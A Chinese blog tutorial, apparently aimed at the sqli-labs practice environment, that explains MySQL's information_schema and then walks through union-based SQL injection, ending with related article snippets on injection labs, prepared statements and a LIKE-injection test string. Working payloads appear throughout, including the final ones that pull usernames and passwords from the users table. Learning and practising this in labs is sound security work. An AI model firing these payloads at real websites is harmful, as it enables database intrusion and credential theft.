代码编织梦想

一,mysql简介

数据库A =====网站A
      表名
            列名
                  数据
数据库B =====网站B

继mysql5.0后,默认在数据库存放一个“information_schema”的数据库,其中包含三个表(SCHEMATA,TABLES,COLUMNS)

SCHEMNSz表存储该用户创建的所有数据库的库名,该表中记录数据库库名的字段名为SCHEMA_NAME

TABLES表存储该用户创建的所有数据库的库名和表名,该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME。

COLUMNS表名和字段名的字段名为TABLE_SCHEMA,TABLE_NAME和COLUMN_NAME。

二、mysql查询语句

1.#无条件查询

SELECT 要查询的字段名 FROM 库名.表名    

2.#已知一条条件查询

SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名=‘已知条件的值’   

3.#已知两条条件查询

SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知道条件1的字段名=‘已知条件1的值’ AND 已知条件2的字段名=‘已知条件2的值’    

4.基本函数

     Database():当前网站使用的数据库
     Version():当前MySQL的版本
     User():当前MySQL的用户

5.注释符号:

       #或-- 空格或/**/
       内联注释:index.php?id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3

6.判断字符串引号(‘)的使用

      /?id=1'and 1=1 --+
     正常输出
     出错代表没有闭合 说明没有用’可能没有用’ 或用了”或()
      /?id=1%27and%201=2--+
      否则是”字符串注入

7.判断所在数据的列数

     /?id=1'order by 3 --+ 
     判断是否有3列

8.判断所显示内容在数据库第几列

    ’union select 1,2,3 --+
      查询所需内容 

9.查找当前用户

 ' union select 1,user(),3 --+
  root权限
10.查找当前数据库
  ' union select 1,database(),3 --+

11.查找数据库表名

  'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),3 --+
   表名是xx,xxx,xxxx,
   group_concat() 计算哪些行属于同一组,且将属于同一组的列显示出来。

12.查找users里的字段

   ' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),3 --+

13.查找用户名

   ' union select 1,(select group_concat(username) from security.users),3 --+

14.查找密码

   ' union select 1,(select group_concat(password) from security.users),3 --+

15.利用union访问数据

   在访问id=1 union select 1,2,3时,执行的SQL语句为:  `Select * from users where ‘id’=1 union select 1,2,3“
   表示可以分为select \* from users where ‘id’=1和union select 1,2,3两条,利用第二条语句(Union查询)就可以获取数据库中的数据。
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_46145025/article/details/118404261

sql注入实战-mysql_乖巧小墨宝的博客-爱代码爱编程

靶场地址:https://mozhe.cn/bug/detail/MFZ4VjBxRnlIMHBUdGllRDJBMWtRZz09bW96aGUmozhe 进入靶场详情页,点击启动靶场,根据系统提供的信息进入靶场环境。 Php注入mysql查询语句,由地址中的“?id=MQo=”可以看出,此处传递时用了base64编码,base64解码“id=MQo=”

在sql注入中常用的mysql语法_孤君的博客-爱代码爱编程

user()返回当前数据库连接使用的用户; database()返回当前数据库连接使用的数据库; version()返回当前数据库的版本; concat-ws() 函数可以将这些函数进行组合使用并显示出来。concat

sql注入之联合查询(mysql)_华丽的贵族的博客-爱代码爱编程

联合注入 联合查询union需要让前面语句报错,数字型直接加 - , 字符型加 - 再闭合:-1’ union语句 --+ - 测试网站 phpstudy搭建的mysql网站 http://localhost/pent

更新sql语句 sql注入_SQL更新语句– SQL中的更新查询-爱代码爱编程

更新sql语句 sql注入 SQL Update Statement or Update Query in SQL is used to modify the column data in tables. Earlier we looked into SQL Select and SQL Insert queries. 在SQ

php使用mysql预处理语句防止sql注入 简单讲解及代码实现-爱代码爱编程

目录 前言sql注入简单介绍一个例子使用预处理语句简介预处理语句的查询预处理语句获取查询结果总结 前言 最近在做一个小项目的后台,牵扯到登录等等需要操作数据库的地方,为了安全起见,特地来记录一下。 sql注入是一个非常常见的漏洞,可能会带来严重的后果,sql注入漏洞来自于sql查询语句的拼接,攻击者通过非法的输入改写sql语句的语义,以达到

mysql 查询执行过的sql_查看mysql已经执行过的sql语句-爱代码爱编程

概述 很多时候,我们需要知道 MySQL 执行过哪些 SQL 语句,比如 MySQL 被注入后,需要知道造成什么伤害等等。只要有 SQL 语句的记录,就能知道情况并作出对策。服务器是可以开启 MySQL 的 SQL 语句记录功能,从而就能间接地检测到客户端程序的行为。 方法 开启方法很简单:编辑/etc/my.cnf文件,在[mysqld]节下面

mysql中like语句注入_like查询中的SQL注入-爱代码爱编程

list = schoolDao.getSchoolByName("长乐一中%' or '1%' = '1"); for(School school : list){ System.out.println(school.getName()); } }catch(Exception e){ e.printStackTrace(); } }

SQL查询语句&注入实战(手注,显注)-爱代码爱编程

目录 前言条件查询查询顺序Limit限制结果联合查询显错位SQL内置函数自带数据库和表mycli辅助命令Sql注入类型实战靶场判断类型是否存在注入点,类型看看他有几个字段数据库查询获取表名字爆字段名获取密码,查看password字段值总结 前言 (没有基础的同学请绕道前往Mariadb的基本使用(一篇涵盖基本操作)这个mariadb和sql的